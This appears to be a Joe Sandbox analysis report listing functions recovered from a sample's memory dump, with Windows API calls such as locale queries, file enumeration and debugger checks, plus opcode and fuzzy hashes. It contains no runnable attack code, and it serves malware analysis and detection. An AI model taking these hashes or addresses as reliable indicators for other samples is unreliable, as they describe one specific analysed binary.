Instruction ID: 08a81ef0e54ebdf673541537e798e89e8886272c528d37013d94f7b9f8eb9673
Opcode Fuzzy Hash: b3d736e57fbdd3c739fad494181aee0cff116b668b56388c0d48295c9e788077
Instruction Fuzzy Hash: 5D219F34A106199FCF19CF69DD809E9B7BAEF88301F2541A9E906D7212D630EE46CF60

Function 0093FF89 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,?,00000000,0093FE78,00954948), ref: 0093FFD5
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,0093FE78,00954948), ref: 0093FFE7

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 7ea788a7565133cbd83d2e547395c55070126c8364b7c51f6a1d061ec9a99690
Instruction ID: 81c870d3cdcd43324edb0db1d5d124d278ea119ec0bdb8ba0f7e9614c71017c1
Opcode Fuzzy Hash: 7ea788a7565133cbd83d2e547395c55070126c8364b7c51f6a1d061ec9a99690
Instruction Fuzzy Hash: 711196719087514AC7304E3E9C98B22BB99A796334F380B2ED6B6C75F1C234DD46D651

Function 0093136E Relevance: 1.7, APIs: 1, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 00931388

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 16859e5a1957157dbdb72f914ba5c38d58d2ec3f614b8790f81c342e9bdae99f
Instruction ID: 96ad97a796dc49a1471d63417dd8e7bbb4608f893383b855fea4ba5dfc370c48
Opcode Fuzzy Hash: 16859e5a1957157dbdb72f914ba5c38d58d2ec3f614b8790f81c342e9bdae99f
Instruction Fuzzy Hash: D5518E353042048FC714DF6DC994B6AB7E6EBC8728F198668E959CB3A2D630ED05CB41

Function 00933C29 Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6989433b985597b23df0485f41ba0c4f7ee2488ac02402c2e99946f76516769
Instruction ID: 7cdc062b32c4525d47c6eba6f92ff9aafef7bd2ea26ad523bbf93ddff481629d
Opcode Fuzzy Hash: e6989433b985597b23df0485f41ba0c4f7ee2488ac02402c2e99946f76516769
Instruction Fuzzy Hash: 4131847290011AAFCB14CF69D8909EDB7F9BF09320F149625E951E7290D721EA44CF50

Function 00933C1B Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: f340c5347d4dbcfdd7d73525b4b7e44db762db054087782813cbab452372d495
Instruction ID: 187222b38164a7355b4f2f496ffb7bb9d170730ab6267545441c27a46c70ae87
Opcode Fuzzy Hash: f340c5347d4dbcfdd7d73525b4b7e44db762db054087782813cbab452372d495
Instruction Fuzzy Hash: 6F01783A6882560ACF05CB7CA9663ACBB60FFC6334F24D15FD852D90C1CB024A51CF10

Function 0093E531 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,009331E1,0093186A,?,009360C1,0093186C,0093186A,?,?,?,00933181,009331E1,0093186E,0093186A,0093186A,0093186A), ref: 0093E563

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a46a21a7d8314f2ec6e533ad34038b8c934192feef16bbc16ed72ebb6ea51e25
Instruction ID: bf08c7c50e1c345ee8d6a103c132bee9b6b07105393efb72783d0311b8c2c083
Opcode Fuzzy Hash: a46a21a7d8314f2ec6e533ad34038b8c934192feef16bbc16ed72ebb6ea51e25
Instruction Fuzzy Hash: BAE022319152245BDF306A66AC00B5B3B4C9F817B8F140120FC56E70D1FB60CD009EF0

Non-executed Functions

Function 00943178 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00942B49,00000002,00000000,?,?,?,00942B49,?,00000000), ref: 00943211
GetLocaleInfoW.KERNEL32(?,20001004,00942B49,00000002,00000000,?,?,?,00942B49,?,00000000), ref: 0094323A
GetACP.KERNEL32(?,?,00942B49,?,00000000), ref: 0094324F

Strings

ACP, xrefs: 00943196
OCP, xrefs: 009431CC

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 0ae5c356ff26f44f8c27ce6ef1adcaaacfc831c6adbdfb7a96c32b66bb4e83f5
Instruction ID: 56c0db08837c38e21218576c69135ba06c6916152e6f7df09725b3dfc377ff79
Opcode Fuzzy Hash: 0ae5c356ff26f44f8c27ce6ef1adcaaacfc831c6adbdfb7a96c32b66bb4e83f5
Instruction Fuzzy Hash: 4121BE32608201AADB348F75DC05FAB73AAEF98F50B26C864E91AD7110E772EF40D350

Function 00942A13 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0093E783: GetLastError.KERNEL32(00000000,?,00940AB9), ref: 0093E787
Part of subcall function 0093E783: SetLastError.KERNEL32(00000000,?,?,00000028,0093B9D2), ref: 0093E829

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00942B1B
IsValidCodePage.KERNEL32(00000000), ref: 00942B59
IsValidLocale.KERNEL32(?,00000001), ref: 00942B6C
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00942BB4
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00942BCF

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 16550ff8557ce41c60826cb33daa7e7e00d0fdadf1c4bdf493479f16a4ed0f89
Instruction ID: 5f0d868da6514c5d473233f00eeafa02f16381af9bcb42bc7872f8c0b18ab930
Opcode Fuzzy Hash: 16550ff8557ce41c60826cb33daa7e7e00d0fdadf1c4bdf493479f16a4ed0f89
Instruction Fuzzy Hash: C3519D71A00206ABDB20DFA4CC85FBE77B8FF59701F854469F900EB190EBB09A04DB61

Function 0094375A Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0094384A

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 0dc9a243c0e633d2a4ea3cbf86e27861550aa5957ba2b6daef22ca6cbb029713
Instruction ID: 86bf8fd3873d389076e58efd51eddd08993f79983b48bae3a9af73c8d7506397
Opcode Fuzzy Hash: 0dc9a243c0e633d2a4ea3cbf86e27861550aa5957ba2b6daef22ca6cbb029713
Instruction Fuzzy Hash: EA71E3B1905169AFDF20AF78DC9DFAEBBB8AF45300F1481D9E049A3251DA354F859F10

Function 00935020 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0093502C
IsDebuggerPresent.KERNEL32 ref: 009350F8
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00935111
UnhandledExceptionFilter.KERNEL32(?), ref: 0093511B

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: a5c4a3fcce98574a81527452f1d944612be0c4a547735d7e9113f2cfa09309a9
Instruction ID: fceda699ffa6521239e4398f8d937e3a0b34eff24d2e569193defa537bab405c
Opcode Fuzzy Hash: a5c4a3fcce98574a81527452f1d944612be0c4a547735d7e9113f2cfa09309a9
Instruction Fuzzy Hash: CE310AB5D053199BDF21DFA5DD497CDBBB8AF08300F1041AAE40DAB250EB719B858F45

Function 00942CFF Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0093E783: GetLastError.KERNEL32(00000000,?,00940AB9), ref: 0093E787
Part of subcall function 0093E783: SetLastError.KERNEL32(00000000,?,?,00000028,0093B9D2), ref: 0093E829

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00942D53
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00942D9D
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00942E63

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 039495002c6d34dd1e00b95333899b113d7cdd426d8660ae09044e7ae9f3224d
Instruction ID: e2c354bb477f32dd1582e94b962270608a5e773ee74ef32eb2f4fbf3e622934b
Opcode Fuzzy Hash: 039495002c6d34dd1e00b95333899b113d7cdd426d8660ae09044e7ae9f3224d
Instruction Fuzzy Hash: FC617D71920217DFDB289F29CC82FAAB7A8FF44301FA441AAFD05C6185E774DA94DB50

Function 0093B4B9 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,009331E1), ref: 0093B5B1
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,009331E1), ref: 0093B5BB
UnhandledExceptionFilter.KERNEL32(00931542,?,?,?,?,?,009331E1), ref: 0093B5C8

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: e55e3876d631319650666322fdb2a91178a1632f2e3cf2d34977341a97a2c936
Instruction ID: 0cc0eeea6e6e4ec7062289f642b79a4898532afec6a912f78b553b628a2c5ae0
Opcode Fuzzy Hash: e55e3876d631319650666322fdb2a91178a1632f2e3cf2d34977341a97a2c936
Instruction Fuzzy Hash: 6431B2B491122DABCB21DF68D98978CBBB8BF48310F5042EAE41CA6251E7709F858F44

Function 009436A9 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0093F807: HeapAlloc.KERNEL32(00000008,?,009331E1,?,0093E921,00000001,00000364,009331E1,00000003,000000FF,?,009360C1,0093186C,0093186A,?,?), ref: 0093F848

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0094384A
FindNextFileW.KERNEL32(00000000,?), ref: 0094393E
FindClose.KERNEL32(00000000), ref: 0094397D
FindClose.KERNEL32(00000000), ref: 009439B0

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: ebd671c800459b844f1e1edec5bb06669db4c9fef7274cca33da8a8bbb61ef24
Instruction ID: 642328081df6cfdb0604c86ce8f4b7d80fe4b63c8b1b029dfc84ea9022727ced
Opcode Fuzzy Hash: ebd671c800459b844f1e1edec5bb06669db4c9fef7274cca33da8a8bbb61ef24
Instruction Fuzzy Hash: B7519AB5900119AFDF24AF788C99EBEB7ADDF85304F248199F45993241EA308E419F20

Function 00942FB1 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0093E783: GetLastError.KERNEL32(00000000,?,00940AB9), ref: 0093E787
Part of subcall function 0093E783: SetLastError.KERNEL32(00000000,?,?,00000028,0093B9D2), ref: 0093E829

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00943005

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 7b444866205bec8c311f5b3d0a16cd89aeffa0e89fc2063f9d35ec9220656dc9
Instruction ID: 891d3319734df7a6c040e0f3c62dc3fa34eae931b59d9bdbb2940099285f7fb4
Opcode Fuzzy Hash: 7b444866205bec8c311f5b3d0a16cd89aeffa0e89fc2063f9d35ec9220656dc9
Instruction Fuzzy Hash: 8C21837151520AABDF289B29DC42FBB77ACEF44711F108169F902D6185EB74EE409B50

Function 009430D1 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0093E783: GetLastError.KERNEL32(00000000,?,00940AB9), ref: 0093E787
Part of subcall function 0093E783: SetLastError.KERNEL32(00000000,?,?,00000028,0093B9D2), ref: 0093E829

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00943125

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 240135c9328c471b70caa64e15371f74488b53479a2684553f5760839943d5c2
Instruction ID: f053819e5429eea27c89064520ad292a74f2f9af316152bb5c7327e8b614832b
Opcode Fuzzy Hash: 240135c9328c471b70caa64e15371f74488b53479a2684553f5760839943d5c2
Instruction Fuzzy Hash: 0111E972515216ABD7189B38DC42FBA77ECEF49310F10417AF506D7281EB74EE009B90

Function 00942C64 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0093E783: GetLastError.KERNEL32(00000000,?,00940AB9), ref: 0093E787
Part of subcall function 0093E783: SetLastError.KERNEL32(00000000,?,?,00000028,0093B9D2), ref: 0093E829

EnumSystemLocalesW.KERNEL32(00942CFF,00000001,00000000,?,-00000050,?,00942AEF,00000000,-00000002,00000000,?,00000055,?), ref: 00942CD6

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 3a9eaaf762fa326335020764fc489680664e44e4a590204ca44b3a47bb47925d
Instruction ID: 7d8256b862d2cfc996b7183206ade4205654a864b189cdf15cb0a00bb84cad4d
Opcode Fuzzy Hash: 3a9eaaf762fa326335020764fc489680664e44e4a590204ca44b3a47bb47925d
Instruction Fuzzy Hash: 2411E93B2047059FDB18AF39C8E1A7AB796FF80359B55442CE98787B40D771B942D740

Function 0094327E Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0093E783: GetLastError.KERNEL32(00000000,?,00940AB9), ref: 0093E787
Part of subcall function 0093E783: SetLastError.KERNEL32(00000000,?,?,00000028,0093B9D2), ref: 0093E829

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00942F1B,00000000,00000000,?), ref: 009432AA

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: ea53b0917c05fbb17d13c13d02c5400d534f7086cde1af94911739f07a97c425
Instruction ID: 6aa85b4831377d067ba38fa0647f80c3d2186024f6debc96a935dc7a78882504
Opcode Fuzzy Hash: ea53b0917c05fbb17d13c13d02c5400d534f7086cde1af94911739f07a97c425
Instruction Fuzzy Hash: A001F936610116BFDB285B35CC07FBA3758EB40754F158529EC66A3180EAB5FF41CA94

Function 00942F52 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0093E783: GetLastError.KERNEL32(00000000,?,00940AB9), ref: 0093E787
